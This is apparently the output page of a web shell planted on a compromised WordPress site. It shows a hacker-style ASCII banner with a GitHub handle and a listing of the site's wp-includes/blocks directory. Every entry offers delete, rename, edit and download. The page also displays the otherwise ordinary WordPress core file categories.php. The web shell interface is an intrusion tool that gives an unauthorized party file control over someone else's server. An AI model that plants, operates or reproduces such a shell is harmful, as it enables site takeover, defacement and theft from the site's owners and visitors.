⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-includes/blocks/ [DIR] archives [ delete | rename ] [DIR] audio [ delete | rename ] [DIR] avatar [ delete | rename ] [DIR] block [ delete | rename ] [DIR] button [ delete | rename ] [DIR] buttons [ delete | rename ] [DIR] calendar [ delete | rename ] [DIR] categories [ delete | rename ] [DIR] code [ delete | rename ] [DIR] column [ delete | rename ] [DIR] columns [ delete | rename ] [DIR] comment-author-name [ delete | rename ] [DIR] comment-content [ delete | rename ] [DIR] comment-date [ delete | rename ] [DIR] comment-edit-link [ delete | rename ] [DIR] comment-reply-link [ delete | rename ] [DIR] comment-template [ delete | rename ] [DIR] comments [ delete | rename ] [DIR] comments-pagination [ delete | rename ] [DIR] comments-pagination-next [ delete | rename ] [DIR] comments-pagination-numbers [ delete | rename ] [DIR] comments-pagination-previous [ delete | rename ] [DIR] comments-title [ delete | rename ] [DIR] cover [ delete | rename ] [DIR] details [ delete | rename ] [DIR] embed [ delete | rename ] [DIR] file [ delete | rename ] [DIR] footnotes [ delete | rename ] [DIR] freeform [ delete | rename ] [DIR] gallery [ delete | rename ] [DIR] group [ delete | rename ] [DIR] heading [ delete | rename ] [DIR] home-link [ delete | rename ] [DIR] html [ delete | rename ] [DIR] image [ delete | rename ] [DIR] latest-comments [ delete | rename ] [DIR] latest-posts [ delete | rename ] [DIR] legacy-widget [ delete | rename ] [DIR] list [ delete | rename ] [DIR] list-item [ delete | rename ] [DIR] loginout [ delete | rename ] [DIR] media-text [ delete | rename ] [DIR] missing [ delete | rename ] [DIR] more [ delete | rename ] [DIR] navigation [ delete | rename ] [DIR] navigation-link [ delete | rename ] [DIR] navigation-submenu [ delete | rename ] [DIR] nextpage [ delete | rename ] [DIR] page-list [ delete | rename ] [DIR] page-list-item [ delete | rename ] [DIR] paragraph [ delete | rename ] [DIR] pattern [ delete | rename ] [DIR] post-author [ delete | rename ] [DIR] post-author-biography [ delete | rename ] [DIR] post-author-name [ delete | rename ] [DIR] post-comments-form [ delete | rename ] [DIR] post-content [ delete | rename ] [DIR] post-date [ delete | rename ] [DIR] post-excerpt [ delete | rename ] [DIR] post-featured-image [ delete | rename ] [DIR] post-navigation-link [ delete | rename ] [DIR] post-template [ delete | rename ] [DIR] post-terms [ delete | rename ] [DIR] post-title [ delete | rename ] [DIR] preformatted [ delete | rename ] [DIR] pullquote [ delete | rename ] [DIR] query [ delete | rename ] [DIR] query-no-results [ delete | rename ] [DIR] query-pagination [ delete | rename ] [DIR] query-pagination-next [ delete | rename ] [DIR] query-pagination-numbers [ delete | rename ] [DIR] query-pagination-previous [ delete | rename ] [DIR] query-title [ delete | rename ] [DIR] query-total [ delete | rename ] [DIR] quote [ delete | rename ] [DIR] read-more [ delete | rename ] [DIR] rss [ delete | rename ] [DIR] search [ delete | rename ] [DIR] separator [ delete | rename ] [DIR] shortcode [ delete | rename ] [DIR] site-logo [ delete | rename ] [DIR] site-tagline [ delete | rename ] [DIR] site-title [ delete | rename ] [DIR] social-link [ delete | rename ] [DIR] social-links [ delete | rename ] [DIR] spacer [ delete | rename ] [DIR] table [ delete | rename ] [DIR] tag-cloud [ delete | rename ] [DIR] template-part [ delete | rename ] [DIR] term-description [ delete | rename ] [DIR] text-columns [ delete | rename ] [DIR] verse [ delete | rename ] [DIR] video [ delete | rename ] [DIR] widget-group [ delete | rename ] [FILE] archives.php [ edit | delete | rename | download ] [FILE] avatar.php [ edit | delete | rename | download ] [FILE] block.php [ edit | delete | rename | download ] [FILE] blocks-json.php [ edit | delete | rename | download ] [FILE] button.php [ edit | delete | rename | download ] [FILE] calendar.php [ edit | delete | rename | download ] [FILE] categories.php [ edit | delete | rename | download ] [FILE] comment-author-name.php [ edit | delete | rename | download ] [FILE] comment-content.php [ edit | delete | rename | download ] [FILE] comment-date.php [ edit | delete | rename | download ] [FILE] comment-edit-link.php [ edit | delete | rename | download ] [FILE] comment-reply-link.php [ edit | delete | rename | download ] [FILE] comment-template.php [ edit | delete | rename | download ] [FILE] comments-pagination-next.php [ edit | delete | rename | download ] [FILE] comments-pagination-numbers.php [ edit | delete | rename | download ] [FILE] comments-pagination-previous.php [ edit | delete | rename | download ] [FILE] comments-pagination.php [ edit | delete | rename | download ] [FILE] comments-title.php [ edit | delete | rename | download ] [FILE] comments.php [ edit | delete | rename | download ] [FILE] cover.php [ edit | delete | rename | download ] [FILE] file.php [ edit | delete | rename | download ] [FILE] footnotes.php [ edit | delete | rename | download ] [FILE] gallery.php [ edit | delete | rename | download ] [FILE] heading.php [ edit | delete | rename | download ] [FILE] home-link.php [ edit | delete | rename | download ] [FILE] image.php [ edit | delete | rename | download ] [FILE] index.php [ edit | delete | rename | download ] [FILE] latest-comments.php [ edit | delete | rename | download ] [FILE] latest-posts.php [ edit | delete | rename | download ] [FILE] legacy-widget.php [ edit | delete | rename | download ] [FILE] list.php [ edit | delete | rename | download ] [FILE] loginout.php [ edit | delete | rename | download ] [FILE] media-text.php [ edit | delete | rename | download ] [FILE] navigation-link.php [ edit | delete | rename | download ] [FILE] navigation-submenu.php [ edit | delete | rename | download ] [FILE] navigation.php [ edit | delete | rename | download ] [FILE] page-list-item.php [ edit | delete | rename | download ] [FILE] page-list.php [ edit | delete | rename | download ] [FILE] pattern.php [ edit | delete | rename | download ] [FILE] post-author-biography.php [ edit | delete | rename | download ] [FILE] post-author-name.php [ edit | delete | rename | download ] [FILE] post-author.php [ edit | delete | rename | download ] [FILE] post-comments-form.php [ edit | delete | rename | download ] [FILE] post-content.php [ edit | delete | rename | download ] [FILE] post-date.php [ edit | delete | rename | download ] [FILE] post-excerpt.php [ edit | delete | rename | download ] [FILE] post-featured-image.php [ edit | delete | rename | download ] [FILE] post-navigation-link.php [ edit | delete | rename | download ] [FILE] post-template.php [ edit | delete | rename | download ] [FILE] post-terms.php [ edit | delete | rename | download ] [FILE] post-title.php [ edit | delete | rename | download ] [FILE] query-no-results.php [ edit | delete | rename | download ] [FILE] query-pagination-next.php [ edit | delete | rename | download ] [FILE] query-pagination-numbers.php [ edit | delete | rename | download ] [FILE] query-pagination-previous.php [ edit | delete | rename | download ] [FILE] query-pagination.php [ edit | delete | rename | download ] [FILE] query-title.php [ edit | delete | rename | download ] [FILE] query-total.php [ edit | delete | rename | download ] [FILE] query.php [ edit | delete | rename | download ] [FILE] read-more.php [ edit | delete | rename | download ] [FILE] require-dynamic-blocks.php [ edit | delete | rename | download ] [FILE] require-static-blocks.php [ edit | delete | rename | download ] [FILE] rss.php [ edit | delete | rename | download ] [FILE] search.php [ edit | delete | rename | download ] [FILE] shortcode.php [ edit | delete | rename | download ] [FILE] site-logo.php [ edit | delete | rename | download ] [FILE] site-tagline.php [ edit | delete | rename | download ] [FILE] site-title.php [ edit | delete | rename | download ] [FILE] social-link.php [ edit | delete | rename | download ] [FILE] tag-cloud.php [ edit | delete | rename | download ] [FILE] template-part.php [ edit | delete | rename | download ] [FILE] term-description.php [ edit | delete | rename | download ] [FILE] widget-group.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-includes/blocks/categories.php <?php /** * Server-side rendering of the `core/categories` block. * * @package WordPress */ /** * Renders the `core/categories` block on server. * * @since 5.0.0 * @since 6.7.0 Enable client-side rendering if enhancedPagination context is true. * * @param array $attributes The block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the categories list/dropdown markup. */ function render_block_core_categories( $attributes, $content, $block ) { static $block_id = 0; ++$block_id; $taxonomy = get_taxonomy( $attributes['taxonomy'] ); $args = array( 'echo' => false, 'hierarchical' => ! empty( $attributes['showHierarchy'] ), 'orderby' => 'name', 'show_count' => ! empty( $attributes['showPostCounts'] ), 'taxonomy' => $attributes['taxonomy'], 'title_li' => '', 'hide_empty' => empty( $attributes['showEmpty'] ), ); if ( ! empty( $attributes['showOnlyTopLevel'] ) && $attributes['showOnlyTopLevel'] ) { $args['parent'] = 0; } if ( ! empty( $attributes['displayAsDropdown'] ) ) { $id = 'wp-block-categories-' . $block_id; $args['id'] = $id; $args['name'] = $taxonomy->query_var; $args['value_field'] = 'slug'; $args['show_option_none'] = sprintf( /* translators: %s: taxonomy's singular name */ __( 'Select %s' ), $taxonomy->labels->singular_name ); $show_label = empty( $attributes['showLabel'] ) ? ' screen-reader-text' : ''; $default_label = $taxonomy->label; $label_text = ! empty( $attributes['label'] ) ? wp_kses_post( $attributes['label'] ) : $default_label; $wrapper_markup = '<div %1$s><label class="wp-block-categories__label' . $show_label . '" for="' . esc_attr( $id ) . '">' . $label_text . '</label>%2$s</div>'; $items_markup = wp_dropdown_categories( $args ); $type = 'dropdown'; if ( ! is_admin() ) { // Inject the dropdown script immediately after the select dropdown. $items_markup = preg_replace( '#(?<=</select>)#', build_dropdown_script_block_core_categories( $id ), $items_markup, 1 ); } } else { $args['show_option_none'] = $taxonomy->labels->no_terms; $wrapper_markup = '<ul %1$s>%2$s</ul>'; $items_markup = wp_list_categories( $args ); $type = 'list'; if ( ! empty( $block->context['enhancedPagination'] ) ) { $p = new WP_HTML_Tag_Processor( $items_markup ); while ( $p->next_tag( 'a' ) ) { $p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' ); } $items_markup = $p->get_updated_html(); } } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => "wp-block-categories-{$type}" ) ); return sprintf( $wrapper_markup, $wrapper_attributes, $items_markup ); } /** * Generates the inline script for a categories dropdown field. * * @since 5.0.0 * * @param string $dropdown_id ID of the dropdown field. * * @return string Returns the dropdown onChange redirection script. */ function build_dropdown_script_block_core_categories( $dropdown_id ) { ob_start(); ?> <script> ( function() { var dropdown = document.getElementById( '<?php echo esc_js( $dropdown_id ); ?>' ); function onCatChange() { if ( dropdown.options[ dropdown.selectedIndex ].value !== -1 ) { location.href = "<?php echo esc_url( home_url() ); ?>/?" + dropdown.name + '=' + dropdown.options[ dropdown.selectedIndex ].value; } } dropdown.onchange = onCatChange; })(); </script> <?php return wp_get_inline_script_tag( str_replace( array( '<script>', '</script>' ), '', ob_get_clean() ) ); } /** * Registers the `core/categories` block on server. * * @since 5.0.0 */ function register_block_core_categories() { register_block_type_from_metadata( __DIR__ . '/categories', array( 'render_callback' => 'render_block_core_categories', ) ); } add_action( 'init', 'register_block_core_categories' );